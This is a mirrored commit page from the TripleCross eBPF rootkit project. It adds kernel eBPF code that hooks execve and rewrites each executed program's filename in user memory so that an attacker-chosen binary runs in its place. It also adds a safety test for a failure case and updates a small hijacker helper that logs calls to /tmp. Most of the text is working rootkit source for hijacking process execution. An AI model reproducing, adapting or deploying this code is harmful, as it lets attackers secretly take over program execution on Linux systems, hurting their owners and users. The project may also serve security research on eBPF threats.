mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-19 16:23:08 +08:00
Completed execve hijacking, as with special error cases that arise and that are documented in the code.
This commit is contained in:
Binary file not shown.
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -23,12 +23,65 @@ struct sys_execve_enter_ctx {
|
|||||||
unsigned long long unused;
|
unsigned long long unused;
|
||||||
int __syscall_nr;
|
int __syscall_nr;
|
||||||
unsigned int padding;
|
unsigned int padding;
|
||||||
char* filename;
|
const char* filename;
|
||||||
const char* const* argv;
|
const char* const* argv;
|
||||||
const char* const* envp;
|
const char* const* envp;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Checks for the error case 2 described in the execve handler when overwriting the filename userspace buffer.
|
||||||
|
*
|
||||||
|
* @param ctx
|
||||||
|
* @return 0 if OK, -1 if error exists
|
||||||
|
*/
|
||||||
|
static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *ctx, char* org_filename, char* org_argv){
|
||||||
|
unsigned char* argv[1] = {0};
|
||||||
|
unsigned char filename[1] = {0};
|
||||||
|
char* chosen_comp_char = "w\0";
|
||||||
|
if(ctx==NULL || ctx->argv == NULL|| org_filename==NULL){
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
char org_argv_c;
|
||||||
|
if(bpf_probe_read(&org_argv_c, 1, org_argv)<0){
|
||||||
|
bpf_printk("Error reading test 3\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
//if(str_n_compare((char*)org_argv, 1, (char*)chosen_comp_char, 1, 1)==0){
|
||||||
|
if(org_argv_c == 'w'){
|
||||||
|
//Better not to go with this case, we won't be able to know whether that was a coincidence
|
||||||
|
bpf_printk("Equal from the start\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if(bpf_probe_write_user((void*)(ctx->filename), (void*)chosen_comp_char, 1)<0){
|
||||||
|
bpf_printk("Error writing to user memory at test by %s\n", org_filename);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if(bpf_probe_read_user(&argv, 1, ctx->argv)<0){
|
||||||
|
bpf_printk("Error reading test 1\n");
|
||||||
|
return -1;
|
||||||
|
};
|
||||||
|
if(bpf_probe_read_user(&filename, 1, ctx->filename)<0){
|
||||||
|
bpf_printk("Error reading tets 2\n");
|
||||||
|
return -1;
|
||||||
|
};
|
||||||
|
char argv_c;
|
||||||
|
if(bpf_probe_read(&argv_c, 1, org_argv)<0){
|
||||||
|
bpf_printk("Error reading test 3\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if(argv_c == 'w'){
|
||||||
|
//Now they are equal, so we are in the error case 2. We must revert our changes
|
||||||
|
bpf_printk("Error case 2\n");
|
||||||
|
bpf_probe_write_user((void*)(ctx->filename), (void*)org_filename, 1);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
bpf_printk("Char was %u\n", argv_c);
|
||||||
|
//Everything went fine, but let's fix our modification anyways since the next write to user memory, which
|
||||||
|
//implies more bytes, may fail.
|
||||||
|
bpf_probe_write_user((void*)(ctx->filename), (void*)org_filename, 1);
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
|
static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
|
||||||
unsigned char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
|
unsigned char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
|
||||||
@@ -47,48 +100,81 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
|
|||||||
bpf_printk("Error reading 3\n");
|
bpf_printk("Error reading 3\n");
|
||||||
};
|
};
|
||||||
|
|
||||||
bpf_printk("ARGV0: %s\n", argv[0]);
|
bpf_printk("OLD ARGV0: %s\n", argv[0]);
|
||||||
bpf_printk("ARGV1: %s\n", argv[1]);
|
bpf_printk("ARGV1: %s\n", argv[1]);
|
||||||
bpf_printk("ARGV2: %s\n", argv[2]);
|
bpf_printk("ARGV2: %s\n", argv[2]);
|
||||||
//bpf_printk("ENVP: %s\n", envp);
|
//bpf_printk("ENVP: %s\n", envp);
|
||||||
bpf_printk("FILENAME: %s\n", filename);
|
bpf_printk("FILENAME: %s\n", filename);
|
||||||
|
if((void*)ctx->filename==(void*)(ctx->argv)){
|
||||||
|
bpf_printk("Equal pointers");
|
||||||
|
}else{
|
||||||
|
bpf_printk("Not equal pointers %u, %u", ctx->filename, ctx->argv);
|
||||||
|
}
|
||||||
|
|
||||||
if(str_n_compare((char*)filename, ARGUMENT_LENGTH, (char*)PATH_EXECUTION_HIJACK_PROGRAM, sizeof(PATH_EXECUTION_HIJACK_PROGRAM), sizeof(PATH_EXECUTION_HIJACK_PROGRAM)-1)!=0){
|
if(str_n_compare((char*)filename, ARGUMENT_LENGTH, (char*)PATH_EXECUTION_HIJACK_PROGRAM, sizeof(PATH_EXECUTION_HIJACK_PROGRAM), sizeof(PATH_EXECUTION_HIJACK_PROGRAM)-1)!=0){
|
||||||
//return 0;
|
//return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
bpf_printk("Our file!\n");
|
|
||||||
/*
|
/*
|
||||||
eBPF can only modify user memory, and thus we may find ourselves into trouble here
|
eBPF can only modify user memory, and thus we may find ourselves into trouble here
|
||||||
As it can be here https://elixir.bootlin.com/linux/v5.11/source/fs/exec.c#L2054
|
As it can be here https://elixir.bootlin.com/linux/v5.11/source/fs/exec.c#L2054
|
||||||
we receive an userspace buffer, but this is later tweaked via getname().
|
we receive an userspace buffer, which is later tweaked via getname().
|
||||||
Thus we may not have user-accessible memory, however from my experience it works _sometimes_.
|
Since we are hooking before that call, we should have user-accessible memory, however from my experience it works *only sometimes*.
|
||||||
The idea is to hook all execve calls, but the first execution of our userspace helper will
|
This seems very related https://stackoverflow.com/questions/63114141/how-to-modify-userspace-memory-using-ebpf
|
||||||
deactivate this hook.
|
And this thread discusses the issue https://www.spinics.net/lists/bpf/msg16795.html
|
||||||
Also another solution could be to hook do_execve and access the filename struct, which still contians
|
However, there is no clear solution. bpf_probe_write_user is simply not reliable enough. Two problems arise:
|
||||||
an userspace buffer inside.
|
1* The call simply fails and returns EFAULT(-14). This happens apparently randomly in some calls, but for some paths it ALWAYS happens,
|
||||||
|
while others always work.
|
||||||
|
2* The call not only overwrites the filename, but also argv[0] with a single write. This may be related to userspace programs using
|
||||||
|
the same buffer for both filename and argv[0], since it is the same data in the end. Accordingly, when this event happens both
|
||||||
|
the pointers are very close to one another (196 bytes exactly), but not pointing to the same exact location, which is a mystery.
|
||||||
|
|
||||||
|
Another solution could be to hook do_execve and access the filename struct, which still contians
|
||||||
|
an userspace buffer with filename inside. However if we failed to overwrite it before, we will too now.
|
||||||
|
Also we can overwrite the return value of the syscall, pass the arguments to the internal ring buffer, read it from the
|
||||||
|
user-side of the rootkit, and fork a process with the requested execve() call. I considered this not to be good enough.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0};
|
char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0};
|
||||||
|
|
||||||
#pragma unroll
|
#pragma unroll
|
||||||
for(int ii=0; ii<sizeof(PATH_EXECUTION_HIJACK_PROGRAM); ii++){
|
for(int ii=0; ii<sizeof(PATH_EXECUTION_HIJACK_PROGRAM); ii++){
|
||||||
(to_write[ii]) = PATH_EXECUTION_HIJACK_PROGRAM[ii];
|
(to_write[ii]) = PATH_EXECUTION_HIJACK_PROGRAM[ii];
|
||||||
}
|
}
|
||||||
|
|
||||||
bpf_printk("To write: %s\n", to_write);
|
|
||||||
|
|
||||||
long ret = bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM));
|
if(argv[0]==NULL){
|
||||||
if(ret<0){
|
return -1;
|
||||||
bpf_printk("Error writing to user memory %i\n", ret);
|
}
|
||||||
|
|
||||||
|
//Provided that the case error 2 may happen, we check if we are on that case before going ahead and overwriting everything.
|
||||||
|
if(test_write_user_unique(ctx, (char*)filename, (char*)argv[0])!=0){
|
||||||
|
bpf_printk("Test failed\n");
|
||||||
|
return -1;
|
||||||
|
}else{
|
||||||
|
bpf_printk("Test completed\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
if(bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM))<0){
|
||||||
|
bpf_printk("Error writing to user memory by %s\n", filename);
|
||||||
|
//bpf_printk("NEW ARGV0: %s\n", argv[0]);
|
||||||
|
//bpf_printk("ARGV1: %s\n", argv[1]);
|
||||||
|
//bpf_printk("ARGV2: %s\n", argv[2]);
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
unsigned char newfilename[ARGUMENT_LENGTH] = {0};
|
unsigned char newfilename[ARGUMENT_LENGTH] = {0};
|
||||||
|
unsigned char* newargv[NUMBER_ARGUMENTS_PARSED] = {0};
|
||||||
if(bpf_probe_read_user(&newfilename, ARGUMENT_LENGTH, ctx->filename)<0){
|
if(bpf_probe_read_user(&newfilename, ARGUMENT_LENGTH, ctx->filename)<0){
|
||||||
bpf_printk("Error reading 3\n");
|
bpf_printk("Error reading\n");
|
||||||
};
|
};
|
||||||
bpf_printk("NEW FILENAME: %s\n", newfilename);
|
if(bpf_probe_read_user(&newargv, ARGUMENT_LENGTH, ctx->argv)<0){
|
||||||
|
bpf_printk("Error reading 1\n");
|
||||||
|
};
|
||||||
|
|
||||||
|
bpf_printk("SUCCESS NEW FILENAME: %s\n", newfilename);
|
||||||
|
bpf_printk("NEW ARGV0: %s\n\n", newargv[0]);
|
||||||
|
/*bpf_printk("ARGV1: %s\n", argv[1]);
|
||||||
|
bpf_printk("ARGV2: %s\n", argv[2]);
|
||||||
|
bpf_printk("ORIGINAL %s\n\n", filename);*/
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|||||||
Binary file not shown.
@@ -4,20 +4,42 @@
|
|||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
char* buf = "A string";
|
||||||
|
|
||||||
int main(int argc, char* argv[]){
|
int main(int argc, char* argv[]){
|
||||||
printf("Hello world from execve hijacker\n");
|
printf("Hello world from execve hijacker\n");
|
||||||
|
|
||||||
|
time_t rawtime;
|
||||||
|
struct tm * timeinfo;
|
||||||
|
|
||||||
|
time ( &rawtime );
|
||||||
|
timeinfo = localtime ( &rawtime );
|
||||||
|
char* timestr = asctime(timeinfo);
|
||||||
|
|
||||||
for(int ii=0; ii<argc; ii++){
|
for(int ii=0; ii<argc; ii++){
|
||||||
printf("Argument %i is %s\n", ii, argv[ii]);
|
printf("Argument %i is %s\n", ii, argv[ii]);
|
||||||
}
|
}
|
||||||
|
|
||||||
int fd = open("/tmp/testcreated", O_RDWR | O_CREAT | O_TRUNC, 0666);
|
int fd = open("/tmp/execve_hijack", O_RDWR | O_CREAT | O_TRUNC, 0666);
|
||||||
|
|
||||||
int ii = 0;
|
int ii = 0;
|
||||||
|
while(*(timestr+ii)!='\0'){
|
||||||
|
write(fd, timestr+ii, 1);
|
||||||
|
ii++;
|
||||||
|
}
|
||||||
|
write(fd, "\t", 1);
|
||||||
|
|
||||||
|
ii = 0;
|
||||||
while(*(argv[0]+ii)!='\0'){
|
while(*(argv[0]+ii)!='\0'){
|
||||||
write(fd, argv[0]+ii, 1);
|
write(fd, argv[0]+ii, 1);
|
||||||
ii++;
|
ii++;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
write(fd, "\n", 1);
|
||||||
|
|
||||||
|
close(fd);
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@@ -25,7 +25,6 @@
|
|||||||
goto cleanup\
|
goto cleanup\
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
static struct env {
|
static struct env {
|
||||||
bool verbose;
|
bool verbose;
|
||||||
} env;
|
} env;
|
||||||
@@ -243,4 +242,4 @@ cleanup:
|
|||||||
if(err!=0) return -1;
|
if(err!=0) return -1;
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user